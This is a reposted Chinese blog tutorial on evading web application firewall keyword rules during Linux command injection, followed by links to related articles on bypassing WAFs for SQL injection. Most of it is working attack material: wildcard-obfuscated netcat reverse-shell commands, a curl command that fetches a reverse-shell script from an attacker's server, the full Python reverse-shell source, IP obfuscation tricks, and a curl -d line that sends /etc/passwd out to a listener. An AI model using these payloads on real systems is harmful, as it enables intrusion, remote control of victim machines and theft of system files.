Linux环境下命令注入————WAF绕过技巧

转载 2018年04月15日 09:39:33

命令注入之Web应用防火墙绕过技巧

本文中讲述的绕过防火墙技巧,只适用于linux系统命令注入环境中,大家就不要纠结于这些绕过技巧不适用于mysql、window什么的。


使用通配符绕过防火墙规则

例如使用 /???/c?t /?t?/p??swd 来代替 cat /etc/passwd

/???/c?t /?t?/p??swd 其实匹配到的是 /bash/cat /etc/passwd

有时候我们想用netcat在目标机器上反弹一个端口,那么可以如下操作:

/???/n? -e /???/b??h 127.0.0.1 6666
# /bin/nc -e /bin/bash 127.0.0.1 6666
# -e 后面跟上你要执行的程序,在连接成功后会自动运行该程序

当然,你还可以使用*星号、[0-9]字符集等匹配符来获取相关信息,有关标准通配符的更多信息可以在终端中键入 命令man 7 glob,按照手册进行学习。

使用字符串拼接绕过防火墙规则

连接字符串的操作符主要有以下几种

在python、Java中使用 + 号;在PHP、perl中使用 . 号;在lua语言中则使用 .. 符号来连接字符串。而这些编程语言中的一些字符串连接符,有时候在bash中也可以达到字符连接的效果,这就导致我们可以绕过一些Web应用防火墙规则(例如基于关键词匹配的防火墙规则)。

root@kali:~# echo Mochazz
Mochazz
root@kali:~# echo Mo'''chazz'
Mochazz
root@kali:~# echo 'Mo''chazz'
Mochazz
root@kali:~# echo 'M'och'az'z
Mochazz

看一条pm匹配规则(防火墙规则)

# Detect suspicious client by looking at the user agent identification 
SecRule REQUEST_HEADERS:User-Agent "@pm passwd shadow" "id:166"

这条规则将忽略大小写进行匹配,如果匹配中passwd或shadow词组,即进行阻断,但是如果我们使用字符串拼接,则可以绕过改规则

root@kali:~# /'b'i''n/'c''a't /e't'c/p''as''sw'd'

使用以下命令在受害机上下载用于反弹shell的脚本

curl -v "http://VPS的IP/shell.py" -o /tmp/shell.py

shell.py 代码如下

#!/usr/bin/python
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("<my ip address>",2375))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])

提前在你的VPS上用nc侦听一个端口

nc -lvp [port]

更进一步,我们可以将点分十进制的IP转换成长整数IP,例如

curl -v "http://127.0.0.1/shell.py" -o /tmp/shell.py
curl -v "http://2130706433/shell.py" -o /tmp/shell.py

使用 \ 符号来绕过WAF

root@kali:~# c\a\t /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin

使用 \ 符号加回车来绕过WAF

root@kali:~# c\
> at /e't'c/p''a's'swd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync

使用curl -d参数读取本地文件

curl -d @/<file> <remote server>
例如
curl -d @/etc/passwd 127.0.0.1:8888
# 在本地侦听8888端口即可接受到数据

关于文中更详细的内容,大家可以参考下面两篇文章。
PS:刚好这两天在看这两篇文章,freebuf小编在昨天翻译了其中一篇,大家也可以看WAF绕过技巧浅谈

Web Application Firewall (WAF) Evasion Techniques

Web Application Firewall (WAF) Evasion Techniques #2

SQL 注入防御在互联网企业中的实践

-
  • 1970年01月01日 08:00

SQL注入&WAF绕过姿势

# 1.WAF过滤机制: 1.异常检测协议–拒绝不符合HTTP标准的请求; 2.增强的输入验证–代理和服务端的验证而不只是限于客户端验证; 3.白名单&黑名单机制–白名单适用于稳定的Web应用,...
  • qq_31481187
  • qq_31481187
  • 2017-03-02 22:30:09
  • 7124

深入理解SQL注入绕过WAF和过滤机制

知己知彼,百战不殆 --孙子兵法 [目录] 0x0 前言 0x1 WAF的常见特征 0x2 绕过WAF的方法 0x3 SQLi Filter的实现及Evasion 0x4 延伸及测试向量示...
  • whatday
  • whatday
  • 2017-03-13 09:14:55
  • 2344

绕过WAF的SQL注入语句

0x00前言  现在的网络环境往往是WAF/IPS/IDS保护着Web 服务器等等,这种保护措施往往会过滤挡住我们的SQL注入查询链接,甚至封锁我们的主机IP,所以这个时候,我们就要考虑怎样进行绕过...
  • god_7z1
  • god_7z1
  • 2016-10-10 23:26:35
  • 5186

MYSQL-手工SQL注入绕过技巧-实战篇

之前遇到一个站点,经检测存在SQL注入,但是有WAF存在,后来知道是绿盟的WEB应用防火墙。 后来在社区看到了一篇关于《sql注入绕过技巧》的文章后(原文:http://zone.wooyun....
  • eT48_sec
  • eT48_sec
  • 2014-12-24 15:09:28
  • 2972

mysql利用颜表情绕过waf注入

如今连sql注入都开始卖萌了 例子: http://sql.sycsec.com/d07127c7c9267637d554c3f79e1ee203/?lalala=1 我们用普通的方式去尝...
  • niexinming
  • niexinming
  • 2015-10-15 17:01:31
  • 1412

PHP的两个特性导致waf绕过注入(有趣的知识点)

1、HPP HTTP参数污染 HTTP参数污染指的是,在URL中提交相同键值的两个参数时,服务器端一般会进行一些处理。比如Apache就要以最后一个参数为准,比如: user.php?id=111...
  • u011721501
  • u011721501
  • 2016-07-04 23:20:55
  • 3071

我的WafBypass之道(SQL注入篇)

https://xianzhi.aliyun.com/forum/mobile/read/349.html 先知技术社区独家发表本文,如需要转载,请先联系先知技术社区授权;未经授权请勿转载。   ...
  • wjy397
  • wjy397
  • 2016-11-21 19:57:47
  • 2168

绕过WAF继续SQL注入常用方法

Web Hacker总是生存在与WAF的不断抗争之中的,厂商不断过滤,Hacker不断绕过。WAF bypass是一个永恒的话题,不少基友也总结了很多奇技怪招。那今天我在这里做个小小的扫盲吧。先来说说...
  • hack8
  • hack8
  • 2014-08-23 21:38:50
  • 932

SQLMAP渗透笔记之绕过WAF防火墙

---------------------------------------------------------------------------------------------  ...
  • T780000063
  • T780000063
  • 2017-12-26 11:37:24
  • 629
收藏助手
不良信息举报
您举报文章:Linux环境下命令注入————WAF绕过技巧
举报原因:
原因补充:

(最多只允许输入30个字)